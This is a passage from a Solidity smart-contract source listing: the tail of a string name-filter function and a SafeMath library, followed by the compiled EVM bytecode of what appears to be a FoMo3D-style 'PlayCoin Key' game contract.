_temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0x6080604052600436106101f55763ffffffff60e060020a600035041663018a25e881146103f15780630661b2f41461041857806306fdde031461043b578063079ce327146104c55780630f15f4c0146104e357806310f01eba146104f857806311a09ae7146105195780631c169ba51461052e57806324c33d33146105575780632660316e146105ce5780632ce21999146105e95780632cf2f1d11461061a5780632e19ebdc1461062f578063349cdcac146106475780633ccfd60b146106655780633ddd46981461067a57806341c0e1b5146106d6578063489fde35146106eb57806349cc635d146107055780635893d4811461072f578063624ae5c01461074a578063630664341461075f578063685ffd8314610795578063747dff42146107e857806382bfc7391461087357806386b945b01461089a5780638f38f309146108c85780638f7140ea146108d6578063921dec21146108f157806395d89b4114610944578063960bfe041461095957806398a0871d14610971578063a2bccae914610988578063a65b37a1146109c9578063c519500e146109d7578063c7e284b8146109ef578063ce89c80c14610a04578063cf80800014610a1f578063d53b267914610a37578063d87574e014610a4c578063de7874f314610a61578063ed78cf4a14610abb578063ee0b5d8b14610ac3575b6101fd615be6565b60115460009060ff161515600114610261576040805160e560020a62461bcd0281526020600482015260296024820152600080516020615ca08339815191526044820152600080516020615c40833981519152606482015290519081900360840190fd5b6007546000908152600d602052604090206003015460ff16156102bc576040805160e560020a62461bcd0281526020600482015260156024820152600080516020615c60833981519152604482015290519081900360640190fd5b336000328214610304576040805160e560020a62461bcd0281526020600482015260116024820152600080516020615ce0833981519152604482015290519081900360640190fd5b34633b9aca0081101561035c576040805160e560020a62461bcd0281526020600482015260216024820152600080516020615c80833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156103ac576040805160e560020a62461bcd02815260206004820152600e6024820152600080516020615cc0833981519152604482015290519081900360640190fd5b6103b585610b1c565b33600090815260086020908152604080832054808452600a9092529091206006015491965094506103ea908590600288610dd0565b5050505050005b3480156103fd57600080fd5b5061040661103b565b60408051918252519081900360200190f35b34801561042457600080fd5b50610439600160a060020a0360043516611100565b005b34801561044757600080fd5b506104506111f7565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561048a578181015183820152602001610472565b50505050905090810190601f1680156104b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104d157600080fd5b5061043960043560243560443561122e565b3480156104ef57600080fd5b50610439611496565b34801561050457600080fd5b50610406600160a060020a0360043516611630565b34801561052557600080fd5b50610406611642565b34801561053a57600080fd5b50610543611648565b604080519115158252519081900360200190f35b34801561056357600080fd5b5061056f600435611651565b604080519c8d5260208d019b909b528b8b019990995296151560608b015260808a019590955260a089019390935260c088019190915260e087015261010086015261012085015261014084015261016083015251908190036101800190f35b3480156105da57600080fd5b506105436004356024356116b4565b3480156105f557600080fd5b506106016004356116d4565b6040805192835260208301919091528051918290030190f35b34801561062657600080fd5b506104066116ed565b34801561063b57600080fd5b506104066004356116f3565b34801561065357600080fd5b50610439600435602435604435611705565b34801561067157600080fd5b50610439611947565b6040805160206004803580820135601f810184900484028501840190955284845261043994369492936024939284019190819084018382808284375094975050600160a060020a03853516955050505050602001351515611cc9565b3480156106e257600080fd5b50610439611e82565b3480156106f757600080fd5b506105436004351515611fa8565b34801561071157600080fd5b50610439600435600160a060020a036024351660443560643561209e565b34801561073b57600080fd5b5061040660043560243561228f565b34801561075657600080fd5b506104066122ac565b34801561076b57600080fd5b506107776004356122b2565b60408051938452602084019290925282820152519081900360600190f35b6040805160206004803580820135601f8101849004840285018401909552848452610439943694929360249392840191908190840183828082843750949750508435955050505050602001351515612458565b3480156107f457600080fd5b506107fd612538565b604080519e8f5260208f019d909d528d8d019b909b5260608d019990995260808c019790975260a08b019590955260c08a0193909352600160a060020a0390911660e08901526101008801526101208701526101408601526101608501526101808401526101a083015251908190036101c00190f35b34801561087f57600080fd5b50610439600160a060020a0360043516602435604435612736565b3480156108a657600080fd5b506108af61298e565b6040805192835290151560208301528051918290030190f35b610439600435602435612a12565b3480156108e257600080fd5b50610439600435602435612c55565b6040805160206004803580820135601f8101849004840285018401909552848452610439943694929360249392840191908190840183828082843750949750508435955050505050602001351515612d32565b34801561095057600080fd5b50610450612e12565b34801561096557600080fd5b50610406600435612e49565b610439600160a060020a0360043516602435612ee2565b34801561099457600080fd5b506109a3600435602435613155565b604080519485526020850193909352838301919091526060830152519081900360800190f35b610439600435602435613187565b3480156109e357600080fd5b506106016004356133e0565b3480156109fb57600080fd5b506104066133f9565b348015610a1057600080fd5b50610406600435602435613488565b348015610a2b57600080fd5b50610406600435613530565b348015610a4357600080fd5b506105436135e2565b348015610a5857600080fd5b506104066135eb565b348015610a6d57600080fd5b50610a796004356135f1565b60408051600160a060020a0390981688526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b610439613638565b348015610acf57600080fd5b50610ae4600160a060020a03600435166136b6565b604080519788526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b610b24615be6565b336000908152600860205260408120549080821515610dc757604080517fe56556a900000000000000000000000000000000000000000000000000000000815233600482015290517347d1c777f1853cac97e6b81226b1f5108fbd7b819163e56556a99160248083019260209291908290030181600087803b158015610ba957600080fd5b505af1158015610bbd573d6000803e3d6000fd5b505050506040513d6020811015610bd357600080fd5b5051604080517f82e37b2c0000000000000000000000000000000000000000000000000000000081526004810183905290519194507347d1c777f1853cac97e6b81226b1f5108fbd7b81916382e37b2c916024808201926020929091908290030181600087803b158015610c4657600080fd5b505af1158015610c5a573d6000803e3d6000fd5b505050506040513d6020811015610c7057600080fd5b5051604080517fe3c08adf0000000000000000000000000000000000000000000000000000000081526004810186905290519193507347d1c777f1853cac97e6b81226b1f5108fbd7b819163e3c08adf916024808201926020929091908290030181600087803b158015610ce357600080fd5b505af1158015610cf7573d6000803e3d6000fd5b505050506040513d6020811015610d0d57600080fd5b5051336000818152600860209081526040808320889055878352600a9091529020805473ffffffffffffffffffffffffffffffffffffffff1916909117905590508115610d96576000828152600960209081526040808320869055858352600a82528083206001908101869055600c8352818420868552909252909120805460ff191690911790555b8015801590610da55750828114155b15610dbf576000838152600a602052604090206006018190555b845160010185525b50929392505050565b600754600454429060ff16158015610dfc57506002546000838152600d60205260409020600401540181115b8015610e4a57506000828152600d602052604090206002015481111580610e4a57506000828152600d602052604090206002015481118015610e4a57506000828152600d6020526040902054155b15610e6257610e5d82873488888861378b565b611033565b60045460ff1680610e8357506000828152600d602052604090206002015481115b8015610ea157506000828152600d602052604090206003015460ff16155b15610ffe576000828152600d60205260409020600301805460ff19166001179055610ecb83613cdd565b60045490935060ff161515610ee257610ee2614170565b80670de0b6b3a764000002836000015101836000018181525050858360200151018360200181815250507fa7801a70b37e729a11492aad44fd3dba89b4149f0609dc0f6837bf9e57e2671a33600a6000898152602001908152602001600020600101543486600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808c600160a060020a0316600160a060020a031681526020018b600019166000191681526020018a815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390a15b6000868152600a6020526040902060030154611020903463ffffffff6141c216565b6000878152600a60205260409020600301555b505050505050565b6007546002546000828152600d6020526040812060040154909291429101811180156110a957506000828152600d6020526040902060020154811115806110a957506000828152600d6020526040902060020154811180156110a957506000828152600d6020526040902054155b156110f1576000828152600d60205260409020600501546110ea90670de0b6b3a7640000906110de908263ffffffff6141c216565b9063ffffffff61422316565b92506110fb565b6544364c5bb00092505b505090565b6004546101009004600160a060020a03163314611167576040805160e560020a62461bcd02815260206004820152601b60248201527f6f6e6c79207465616d206a7573742063616e2061637469766174650000000000604482015290519081900360640190fd5b600054600160a060020a0316156111c8576040805160e560020a62461bcd02815260206004820152601f60248201527f73696c6c79206465762c20796f7520616c726561647920646964207468617400604482015290519081900360640190fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051808201909152600c81527f506c6179436f696e204b65790000000000000000000000000000000000000000602082015281565b611236615be6565b601154600090819060ff16151560011461129c576040805160e560020a62461bcd0281526020600482015260296024820152600080516020615ca08339815191526044820152600080516020615c40833981519152606482015290519081900360840190fd5b6007546000908152600d602052604090206003015460ff16156112f7576040805160e560020a62461bcd0281526020600482015260156024820152600080516020615c60833981519152604482015290519081900360640190fd5b33600032821461133f576040805160e560020a62461bcd0281526020600482015260116024820152600080516020615ce0833981519152604482015290519081900360640190fd5b85633b9aca00811015611397576040805160e560020a62461bcd0281526020600482015260216024820152600080516020615c80833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156113e7576040805160e560020a62461bcd02815260206004820152600e6024820152600080516020615cc0833981519152604482015290519081900360640190fd5b33600090815260086020526040902054945088158061141657506000858152600a602052604090206001015489145b15611434576000858152600a60205260409020600601549350611473565b600089815260096020908152604080832054888452600a909252909120600601549094508414611473576000858152600a602052604090206006018490555b61147c88614250565b975061148b85858a8a8a614274565b505050505050505050565b6004546101009004600160a060020a031633146114fd576040805160e560020a62461bcd02815260206004820152601b60248201527f6f6e6c79207465616d206a7573742063616e2061637469766174650000000000604482015290519081900360640190fd5b600054600160a060020a0316151561155f576040805160e560020a62461bcd02815260206004820152601c60248201527f6d757374206c696e6b20746f206f746865722050434b20666972737400000000604482015290519081900360640190fd5b60115460ff16156115ba576040805160e560020a62461bcd02815260206004820152601560248201527f50434b20616c7265616479206163746976617465640000000000000000000000604482015290519081900360640190fd5b6011805460ff1916600190811790915560078190556002548154600092909252600d602052429091019081037ffd54ff1ed53f34a900b24c5ba64f85761163b5d82d98a47b9bd80e45466993c95561a8c0017ffd54ff1ed53f34a900b24c5ba64f85761163b5d82d98a47b9bd80e45466993c755565b60086020526000908152604090205481565b60065481565b60045460ff1681565b600d60205260009081526040902080546001820154600283015460038401546004850154600586015460068701546007880154600889015460098a0154600a8b0154600b909b0154999a9899979860ff909716979596949593949293919290918c565b600c60209081526000928352604080842090915290825290205460ff1681565b600f602052600090815260409020805460019091015482565b60035481565b60096020526000908152604090205481565b61170d615be6565b60115460009060ff161515600114611771576040805160e560020a62461bcd0281526020600482015260296024820152600080516020615ca08339815191526044820152600080516020615c40833981519152606482015290519081900360840190fd5b6007546000908152600d602052604090206003015460ff16156117cc576040805160e560020a62461bcd0281526020600482015260156024820152600080516020615c60833981519152604482015290519081900360640190fd5b336000328214611814576040805160e560020a62461bcd0281526020600482015260116024820152600080516020615ce0833981519152604482015290519081900360640190fd5b84633b9aca0081101561186c576040805160e560020a62461bcd0281526020600482015260216024820152600080516020615c80833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156118bc576040805160e560020a62461bcd02815260206004820152600e6024820152600080516020615cc0833981519152604482015290519081900360640190fd5b3360009081526008602052604090205493508715806118da57508388145b156118f8576000848152600a60205260409020600601549750611925565b6000848152600a60205260409020600601548814611925576000848152600a602052604090206006018890555b61192e87614250565b965061193d8489898989614274565b5050505050505050565b600080600080611955615be6565b60115460ff1615156001146119b6576040805160e560020a62461bcd0281526020600482015260296024820152600080516020615ca08339815191526044820152600080516020615c40833981519152606482015290519081900360840190fd5b3360003282146119fe576040805160e560020a62461bcd0281526020600482015260116024820152600080516020615ce0833981519152604482015290519081900360640190fd5b60075433600090815260086020908152604080832054848452600d90925290912060020154919850429750955086118015611a4b57506000878152600d602052604090206003015460ff16155b8015611a6457506000878152600d602052604090205415155b15611c0a576000878152600d60205260409020600301805460ff19166001179055611a8e83613cdd565b9250611a99856144c1565b93506000841115611aea576000858152600a6020526040808220549051600160a060020a039091169186156108fc02918791818181858888f19350505050158015611ae8573d6000803e3d6000fd5b505b85670de0b6b3a764000002836000015101836000018181525050848360200151018360200181815250507f0bd0dba8ab932212fa78150cdb7b0275da72e255875967b5cad11464cf71bedc33600a6000888152602001908152602001600020600101548686600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808c600160a060020a0316600160a060020a031681526020018b600019166000191681526020018a815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390a1611cc0565b611c13856144c1565b93506000841115611c64576000858152600a6020526040808220549051600160a060020a039091169186156108fc02918791818181858888f19350505050158015611c62573d6000803e3d6000fd5b505b6000858152600a60209081526040918290206001015482513381529182015280820186905260608101889052905186917f8f36579a548bc439baa172a6521207464154da77f411e2da3db2f53affe6cc3a919081900360800190a25b50505050505050565b600080808080803381328214611d17576040805160e560020a62461bcd0281526020600482015260116024820152600080516020615ce0833981519152604482015290519081900360640190fd5b611d208b614548565b604080517faa4d490b000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052600160a060020a038e1660448301528c151560648301528251939b5099503498507347d1c777f1853cac97e6b81226b1f5108fbd7b819263aa4d490b928a926084808201939182900301818588803b158015611db157600080fd5b505af1158015611dc5573d6000803e3d6000fd5b50505050506040513d6040811015611ddc57600080fd5b508051602091820151600160a060020a03808b16600081815260088652604080822054858352600a8852918190208054600190910154825188151581529889018790529416878201526060870193909352608086018c90524260a0870152915193995091975095508a92909186917fdd6176433ff5026bbce96b068584b7bbe3514227e72df9c630b749ae87e64442919081900360c00190a45050505050505050505050565b6004546101009004600160a060020a03163314611f0f576040805160e560020a62461bcd02815260206004820152602e60248201527f6f6e6c7941646d696e73206661696c6564202d206d73672e73656e646572206960448201527f73206e6f7420616e2061646d696e000000000000000000000000000000000000606482015290519081900360840190fd5b6007546000908152600d602052604090206003015460ff1615156001148015611f3f575060045460ff1615156001145b1515611f95576040805160e560020a62461bcd02815260206004820181905260248201527f74686520726f756e6420697320616374697665206f72206e6f7420636c6f7365604482015290519081900360640190fd5b6004546101009004600160a060020a0316ff5b6004546000906101009004600160a060020a03163314612038576040805160e560020a62461bcd02815260206004820152602e60248201527f6f6e6c7941646d696e73206661696c6564202d206d73672e73656e646572206960448201527f73206e6f7420616e2061646d696e000000000000000000000000000000000000606482015290519081900360840190fd5b6004805460ff1916831515179081905560ff1615801561207157506007546000908152600d602052604090206003015460ff1615156001145b8015612084575060115460ff1615156001145b1561209157612091614170565b5060045460ff165b919050565b337347d1c777f1853cac97e6b81226b1f5108fbd7b811461212f576040805160e560020a62461bcd02815260206004820152602760248201527f796f7572206e6f7420706c617965724e616d657320636f6e74726163742e2e2e60448201527f20686d6d6d2e2e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038316600090815260086020526040902054841461216a57600160a060020a03831660009081526008602052604090208490555b60008281526009602052604090205484146121915760008281526009602052604090208490555b6000848152600a6020526040902054600160a060020a038481169116146121e7576000848152600a60205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385161790555b6000848152600a60205260409020600101548214612214576000848152600a602052604090206001018290555b6000848152600a60205260409020600601548114612241576000848152600a602052604090206006018190555b6000848152600c6020908152604080832085845290915290205460ff161515612289576000848152600c602090815260408083208584529091529020805460ff191660011790555b50505050565b600e60209081526000928352604080842090915290825290205481565b60075481565b6007546000818152600d602052604081206002015490918291829190421180156122ee57506000818152600d602052604090206003015460ff16155b801561230757506000818152600d602052604090205415155b15612428576000818152600d60205260409020548514156123ec576000818152600d60205260409020600701546123759060649061234c90603063ffffffff614d5b16565b81151561235557fe5b6000888152600a602052604090206002015491900463ffffffff6141c216565b6000868152600b602090815260408083208584529091529020600201546123ce906123b0906123a48986614dd2565b9063ffffffff614ea016565b6000888152600a60205260409020600301549063ffffffff6141c216565b6000878152600a602052604090206004015491955093509150612450565b6000858152600a60209081526040808320600290810154600b84528285208686529093529220909101546123ce906123b0906123a48986614dd2565b6000858152600a6020526040902060028101546005909101546123ce906123b0908890614f00565b509193909250565b6000808080808033813282146124a6576040805160e560020a62461bcd0281526020600482015260116024820152600080516020615ce0833981519152604482015290519081900360640190fd5b6124af8b614548565b604080517f745ea0c1000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052604482018e90528c151560648301528251939b5099503498507347d1c777f1853cac97e6b81226b1f5108fbd7b819263745ea0c1928a926084808201939182900301818588803b158015611db157600080fd5b60008060008060008060008060008060008060008060006007549050600d60008281526020019081526020016000206009015481600d600084815260200190815260200160002060050154600d600085815260200190815260200160002060020154600d600086815260200190815260200160002060040154600d600087815260200190815260200160002060070154600d600088815260200190815260200160002060000154600a02600d60008981526020019081526020016000206001015401600a6000600d60008b815260200190815260200160002060000154815260200190815260200160002060000160009054906101000a9004600160a060020a0316600a6000600d60008c815260200190815260200160002060000154815260200190815260200160002060010154600e60008b8152602001908152602001600020600080815260200190815260200160002054600e60008c815260200190815260200160002060006001815260200190815260200160002054600e60008d815260200190815260200160002060006002815260200190815260200160002054600e60008e8152602001908152602001600020600060038152602001908152602001600020546005546103e802600654019e509e509e509e509e509e509e509e509e509e509e509e509e509e5050909192939495969798999a9b9c9d565b61273e615be6565b601154600090819060ff1615156001146127a4576040805160e560020a62461bcd0281526020600482015260296024820152600080516020615ca08339815191526044820152600080516020615c40833981519152606482015290519081900360840190fd5b6007546000908152600d602052604090206003015460ff16156127ff576040805160e560020a62461bcd0281526020600482015260156024820152600080516020615c60833981519152604482015290519081900360640190fd5b336000328214612847576040805160e560020a62461bcd0281526020600482015260116024820152600080516020615ce0833981519152604482015290519081900360640190fd5b85633b9aca0081101561289f576040805160e560020a62461bcd0281526020600482015260216024820152600080516020615c80833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156128ef576040805160e560020a62461bcd02815260206004820152600e6024820152600080516020615cc0833981519152604482015290519081900360640190fd5b336000908152600860205260409020549450600160a060020a038916158061291f5750600160a060020a03891633145b1561293d576000858152600a60205260409020600601549350611473565b600160a060020a038916600090815260086020908152604080832054888452600a909252909120600601549094508414611473576000858152600a6020526040902060060184905561147c88614250565b601154600090819060ff1615156001146129f4576040805160e560020a62461bcd0281526020600482015260296024820152600080516020615ca08339815191526044820152600080516020615c40833981519152606482015290519081900360840190fd5b50506007546000818152600d602052604090206003015460ff169091565b612a1a615be6565b60115460009060ff161515600114612a7e576040805160e560020a62461bcd0281526020600482015260296024820152600080516020615ca08339815191526044820152600080516020615c40833981519152606482015290519081900360840190fd5b6007546000908152600d602052604090206003015460ff1615612ad9576040805160e560020a62461bcd0281526020600482015260156024820152600080516020615c60833981519152604482015290519081900360640190fd5b336000328214612b21576040805160e560020a62461bcd0281526020600482015260116024820152600080516020615ce0833981519152604482015290519081900360640190fd5b34633b9aca00811015612b79576040805160e560020a62461bcd0281526020600482015260216024820152600080516020615c80833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115612bc9576040805160e560020a62461bcd02815260206004820152600e6024820152600080516020615cc0833981519152604482015290519081900360640190fd5b612bd285610b1c565b336000908152600860205260409020549095509350861580612bf357508387145b15612c11576000848152600a60205260409020600601549650612c3e565b6000848152600a60205260409020600601548714612c3e576000848152600a602052604090206006018790555b612c4786614250565b9550611cc084888888610dd0565b337347d1c777f1853cac97e6b81226b1f5108fbd7b8114612ce6576040805160e560020a62461bcd02815260206004820152602760248201527f796f7572206e6f7420706c617965724e616d657320636f6e74726163742e2e2e60448201527f20686d6d6d2e2e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000828152600c6020908152604080832084845290915290205460ff161515612d2e576000828152600c602090815260408083208484529091529020805460ff191660011790555b5050565b600080808080803381328214612d80576040805160e560020a62461bcd0281526020600482015260116024820152600080516020615ce0833981519152604482015290519081900360640190fd5b612d898b614548565b604080517fc0942dfd000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052604482018e90528c151560648301528251939b5099503498507347d1c777f1853cac97e6b81226b1f5108fbd7b819263c0942dfd928a926084808201939182900301818588803b158015611db157600080fd5b60408051808201909152600381527f50434b0000000000000000000000000000000000000000000000000000000000602082015281565b6004546000906101009004600160a060020a03163314612ed9576040805160e560020a62461bcd02815260206004820152602e60248201527f6f6e6c7941646d696e73206661696c6564202d206d73672e73656e646572206960448201527f73206e6f7420616e2061646d696e000000000000000000000000000000000000606482015290519081900360840190fd5b50600381905590565b612eea615be6565b601154600090819060ff161515600114612f50576040805160e560020a62461bcd0281526020600482015260296024820152600080516020615ca08339815191526044820152600080516020615c40833981519152606482015290519081900360840190fd5b6007546000908152600d602052604090206003015460ff1615612fab576040805160e560020a62461bcd0281526020600482015260156024820152600080516020615c60833981519152604482015290519081900360640190fd5b336000328214612ff3576040805160e560020a62461bcd0281526020600482015260116024820152600080516020615ce0833981519152604482015290519081900360640190fd5b34633b9aca0081101561304b576040805160e560020a62461bcd0281526020600482015260216024820152600080516020615c80833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af680000081111561309b576040805160e560020a62461bcd02815260206004820152600e6024820152600080516020615cc0833981519152604482015290519081900360640190fd5b6130a486610b1c565b336000908152600860205260409020549096509450600160a060020a03881615806130d75750600160a060020a03881633145b156130f5576000858152600a6020526040902060060154935061313e565b600160a060020a038816600090815260086020908152604080832054888452600a90925290912060060154909450841461313e576000858152600a602052604090206006018490555b61314787614250565b965061193d85858989610dd0565b600b60209081526000928352604080842090915290825290208054600182015460028301546003909301549192909184565b61318f615be6565b601154600090819060ff1615156001146131f5576040805160e560020a62461bcd0281526020600482015260296024820152600080516020615ca08339815191526044820152600080516020615c40833981519152606482015290519081900360840190fd5b6007546000908152600d602052604090206003015460ff1615613250576040805160e560020a62461bcd0281526020600482015260156024820152600080516020615c60833981519152604482015290519081900360640190fd5b336000328214613298576040805160e560020a62461bcd0281526020600482015260116024820152600080516020615ce0833981519152604482015290519081900360640190fd5b34633b9aca008110156132f0576040805160e560020a62461bcd0281526020600482015260216024820152600080516020615c80833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115613340576040805160e560020a62461bcd02815260206004820152600e6024820152600080516020615cc0833981519152604482015290519081900360640190fd5b61334986610b1c565b33600090815260086020526040902054909650945087158061337b57506000858152600a602052604090206001015488145b15613399576000858152600a6020526040902060060154935061313e565b600088815260096020908152604080832054888452600a90925290912060060154909450841461313e576000858152600a6020526040902060060184905561314787614250565b6010602052600090815260409020805460019091015482565b6007546000818152600d6020526040812060020154909190429081101561347f576002546000838152600d602052604090206004015401811115613459576000828152600d60205260409020600201546110ea908263ffffffff614ea016565b6002546000838152600d60205260409020600401546110ea91018263ffffffff614ea016565b600092506110fb565b6002546000838152600d60205260408120600401549091429101811180156134f257506000848152600d6020526040902060020154811115806134f257506000848152600d6020526040902060020154811180156134f257506000848152600d6020526040902054155b15613520576000848152600d6020526040902060060154613519908463ffffffff614f5d16565b9150613529565b61351983614f7e565b5092915050565b6007546002546000828152600d60205260408120600401549092914291018111801561359e57506000828152600d60205260409020600201548111158061359e57506000828152600d60205260409020600201548111801561359e57506000828152600d6020526040902054155b156135d2576000828152600d60205260409020600501546135cb9085906110de908263ffffffff6141c216565b92506135db565b6135cb84614ff6565b5050919050565b60115460ff1681565b60055481565b600a602052600090815260409020805460018201546002830154600384015460048501546005860154600690960154600160a060020a039095169593949293919290919087565b600780546001016000818152600d6020526040902090910154613661903463ffffffff6141c216565b6000828152600d6020908152604091829020600701929092558051838152349281019290925280517f74b1d2f771e0eff1b2c36c38499febdbea80fe4013bdace4fc4b653322c2895c9281900390910190a150565b6000806000806000806000806000600754915050600160a060020a038916600090815260086020908152604080832054808452600a808452828520600180820154600b875285882089895287529487200154958390529352600283015460059093015490938493909161374c9061372e908690614f00565b6000878152600a60205260409020600301549063ffffffff6141c216565b6000958652600a6020908152604080882060040154600b83528189209989529890915290952054939e929d50909b509950919750919550909350915050565b6000858152600b6020908152604080832089845290915281206001015481908190819015156137c1576137be8986615063565b94505b60008a8152600d602052604090206006015468056bc75e2d6310000011801561381b57506000898152600b602090815260408083208d8452909152902054670de0b6b3a764000090613819908a63ffffffff6141c216565b115b156138a2576000898152600b602090815260408083208d845290915290205461385390670de0b6b3a76400009063ffffffff614ea016565b9350613865888563ffffffff614ea016565b60008a8152600a602052604090206003015490935061388a908463ffffffff6141c216565b60008a8152600a602052604090206003015592965086925b633b9aca00881115613cd15760008a8152600d60205260409020600601546138d0908963ffffffff614f5d16565b9150670de0b6b3a76400008210613948576138ec828b8a6150c2565b60008a8152600d602052604090205489146139135760008a8152600d602052604090208990555b60008a8152600d602052604090206001015486146139405760008a8152600d602052604090206001018690555b845160640185525b67016345785d8a00008810613b88576006805460010190556139686151ee565b151560011415613b8857678ac7230489e800008810613a095760055460649061399890604b63ffffffff614d5b16565b8115156139a157fe5b60008b8152600a602052604090206002015491900491506139c8908263ffffffff6141c216565b60008a8152600a60205260409020600201556005546139ed908263ffffffff614ea016565b60055584516d0eca8847c4129106ce8300000000018552613b5d565b670de0b6b3a76400008810158015613a285750678ac7230489e8000088105b15613ab557600554606490613a4490603263ffffffff614d5b16565b811515613a4d57fe5b60008b8152600a60205260409020600201549190049150613a74908263ffffffff6141c216565b60008a8152600a6020526040902060020155600554613a99908263ffffffff614ea016565b60055584516d09dc5ada82b70b59df0200000000018552613b5d565b67016345785d8a00008810158015613ad45750670de0b6b3a764000088105b15613b5d57600554606490613af090601963ffffffff614d5b16565b811515613af957fe5b60008b8152600a60205260409020600201549190049150613b20908263ffffffff6141c216565b60008a8152600a6020526040902060020155600554613b45908263ffffffff614ea016565b60055584516d0eca8847c4129106ce83000000000185525b84516d314dc6448d9338c15b0a000000008202016c7e37be2022c0914b268000000001855260006006555b60065485516103e89091020185526000898152600b602090815260408083208d8452909152902060010154613bc490839063ffffffff6141c216565b60008a8152600b602090815260408083208e84529091529020600181019190915554613bf19089906141c2565b60008a8152600b602090815260408083208e8452825280832093909355600d90522060050154613c2890839063ffffffff6141c216565b60008b8152600d60205260409020600581019190915560060154613c5390899063ffffffff6141c216565b60008b8152600d6020908152604080832060060193909355600e815282822089835290522054613c8a90899063ffffffff6141c216565b60008b8152600e602090815260408083208a8452909152902055613cb28a8a8a8a8a8a615405565b9450613cc28a8a8a89868a6156db565b9450613cd189878a8589615849565b50505050505050505050565b613ce5615be6565b600780546000818152600d6020526040812080546001820154919094015492939290918080808080806064613d2189603063ffffffff614d5b16565b811515613d2a57fe5b04965060328860008b8152601060205260409020549190049650606490613d58908a9063ffffffff614d5b16565b811515613d6157fe5b60008b8152601060205260409020600101549190049550606490613d8c908a9063ffffffff614d5b16565b811515613d9557fe5b049350613db0846123a487818a818e8e63ffffffff614ea016565b60008c8152600d6020526040902060050154909350613ddd86670de0b6b3a764000063ffffffff614d5b16565b811515613de657fe5b60008d8152600d60205260409020600501549190049250613e3490670de0b6b3a764000090613e1c90859063ffffffff614d5b16565b811515613e2557fe5b8791900463ffffffff614ea016565b90506000811115613e6457613e4f858263ffffffff614ea016565b9450613e61838263ffffffff6141c216565b92505b60008a8152600a6020526040902060020154613e8790889063ffffffff6141c216565b60008b8152600a60205260408082206002019290925581517f6465706f736974282900000000000000000000000000000000000000000000008152825190819003600901812063ffffffff60e060020a91829004908116909102825292517397354a7281693b7c93f6348ba4ec38b9ddd76d6e93928a9260048082019391829003018185885af193505050501515613f3057613f29848763ffffffff6141c216565b9350600095505b60008b8152600d6020526040902060080154613f5390839063ffffffff6141c216565b60008c8152600d6020526040812060080191909155841115613fdb57736f93be8fd47ebb62f54ebd149b58658bf9bacf4f600160a060020a031663d0e30db0856040518263ffffffff1660e060020a0281526004016000604051808303818588803b158015613fc157600080fd5b505af1158015613fd5573d6000803e3d6000fd5b50505050505b600d60008c815260200190815260200160002060020154620f4240028d60000151018d60000181815250508867016345785d8a0000028a6a52b7d2dcc80cd2e4000000028e6020015101018d60200181815